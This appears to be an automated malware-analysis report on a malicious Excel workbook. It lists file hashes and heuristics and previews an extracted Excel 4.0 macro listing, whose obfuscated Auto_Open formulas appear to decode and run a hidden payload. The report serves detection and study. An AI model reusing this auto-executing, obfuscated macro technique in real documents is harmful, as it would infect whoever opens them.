Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4e5ec05a13ecae97…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:40:14 Authoring application: Microsoft Excel First seen: 2021-02-23
MD5: 9fb4a38b6357c6969362dd49c5f60562 SHA-1: 592ea233fdc836000c8da57c91488eb2fd15a843 SHA-256: 4e5ec05a13ecae97af9e80c8b06d837748af62b7cac6ea7d488ec78238db9b3c
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6863 bytes
SHA-256: 7ca4298f80ac3679cc070c83b1c90f4cef8170f917cbc132d4b680b9b5bf7515
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     20 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  GtyIfDyMKVp
' 0018     27 LABEL : Cell Value, String Constant - ASWjGWeBPwjJ len=0 
' 0018     26 LABEL : Cell Value, String Constant - ASXJbgKbHZs len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!C146 
' 0018     22 LABEL : Cell Value, String Constant - BJVGoDr len=0 
' 0018     21 LABEL : Cell Value, String Constant - cneMig len=0 
' 0018     21 LABEL : Cell Value, String Constant - eNyADB len=0 
' 0018     23 LABEL : Cell Value, String Constant - eQdaxFQH len=0 
' 0018     23 LABEL : Cell Value, String Constant - ggNRkkeG len=0 
' 0018     26 LABEL : Cell Value, String Constant - iieRycCmVyR len=0 
' 0018     24 LABEL : Cell Value, String Constant - kMITvCgRQ len=0 
' 0018     20 LABEL : Cell Value, String Constant - kZlbi len=0 
' 0018     25 LABEL : Cell Value, String Constant - naCDjHkjBw len=0 
' 0018     27 LABEL : Cell Value, String Constant - nAWkQvslbpfN len=0 
' 0018     26 LABEL : Cell Value, String Constant - NSXsIatcOpP len=0 
' 0018     20 LABEL : Cell Value, String Constant - oElLP len=0 
' 0018     23 LABEL : Cell Value, String Constant - oZSJsNsk len=0 
' 0018     22 LABEL : Cell Value, String Constant - pHIETfD len=0 
' 0018     24 LABEL : Cell Value, String Constant - rMRAYLkSp len=0 
' 0018     26 LABEL : Cell Value, String Constant - TsDMwiMMlAr len=0 
' 0018     20 LABEL : Cell Value, String Constant - UdMej len=0 
' 0018     24 LABEL : Cell Value, String Constant - WtLcEFCTb len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  GtyIfDyMKVp,C49,"SET.NAME("iieRycCmVyR",0+VALUE("0"))",""
'  GtyIfDyMKVp,C52,"SET.NAME("ASWjGWeBPwjJ",iieRycCmVyR)",""
'  GtyIfDyMKVp,C57,"SET.NAME("oElLP",iieRycCmVyR)",""
'  GtyIfDyMKVp,C62,"SET.NAME("ASXJbgKbHZs",COUNTA(BJVGoDr))",""
'  GtyIfDyMKVp,C64,"SET.NAME("oZSJsNsk",COUNTA(pHIETfD))",""
'  GtyIfDyMKVp,C69,[],""
'  GtyIfDyMKVp,C73,"SET.NAME("WtLcEFCTb","")",""
'  GtyIfDyMKVp,C77,"ASWjGWeBPwjJ",""
'  GtyIfDyMKVp,T77,"",-151.00000000000000000000
'  GtyIfDyMKVp,T78,"",-322.00000000000000000000
'  GtyIfDyMKVp,T79,"",48.00000000000000000000
'  GtyIfDyMKVp,T80,"",-398.00000000000000000000
'  GtyIfDyMKVp,C81,"SET.NAME("eNyADB",HLOOKUP("*",BJVGoDr,ASWjGWeBPwjJ,FALSE))",""
'  GtyIfDyMKVp,T81,"",-548.00000000000000000000
'  GtyIfDyMKVp,T82,"",163.00000000000000000000
'  GtyIfDyMKVp,C84,"ggNRkkeG",""
'  GtyIfDyMKVp,C88,"SET.NAME("cneMig",iieRycCmVyR)",""
'  GtyIfDyMKVp,C91,[],""
'  GtyIfDyMKVp,C95,"cneMig",""
'  GtyIfDyMKVp,C97,"nAWkQvslbpfN",""
'  GtyIfDyMKVp,C101,"eQdaxFQH",""
'  GtyIfDyMKVp,C105,"naCDjHkjBw",""
'  GtyIfDyMKVp,C108,"SET.NAME("rMRAYLkSp",VALUE(HLOOKUP("*",pHIETfD,naCDjHkjBw,FALSE)))",""
'  GtyIfDyMKVp,C112,"kMITvCgRQ",""
'  GtyIfDyMKVp,C114,"WtLcEFCTb",""
'  GtyIfDyMKVp,C119,"oElLP",""
'  GtyIfDyMKVp,C124,NEXT(),""
'  GtyIfDyMKVp,C129,"TsDMwiMMlAr",""
'  GtyIfDyMKVp,C133,[],""
'  GtyIfDyMKVp,C135,"kZlbi",""
'  GtyIfDyMKVp,C137,NEXT(),""
'  GtyIfDyMKVp,C142,RETURN(),""
'  GtyIfDyMKVp,C174,"SET.NAME("UdMej",C49)",""
'  GtyIfDyMKVp,C179,"BJVGoDr",""
'  GtyIfDyMKVp,C184,"SET.NAME("pHIETfD",R67C15)",""
'  GtyIfDyMKVp,C186,"SET.NAME("kZlbi",195)",""
'  GtyIfDyMKVp,C189,"SET.NAME("NSXsIatcOpP",3)",""
'  GtyIfDyMKVp,C194,UdMej(),""
'  GtyIfDyMKVp,C195,HALT(),""

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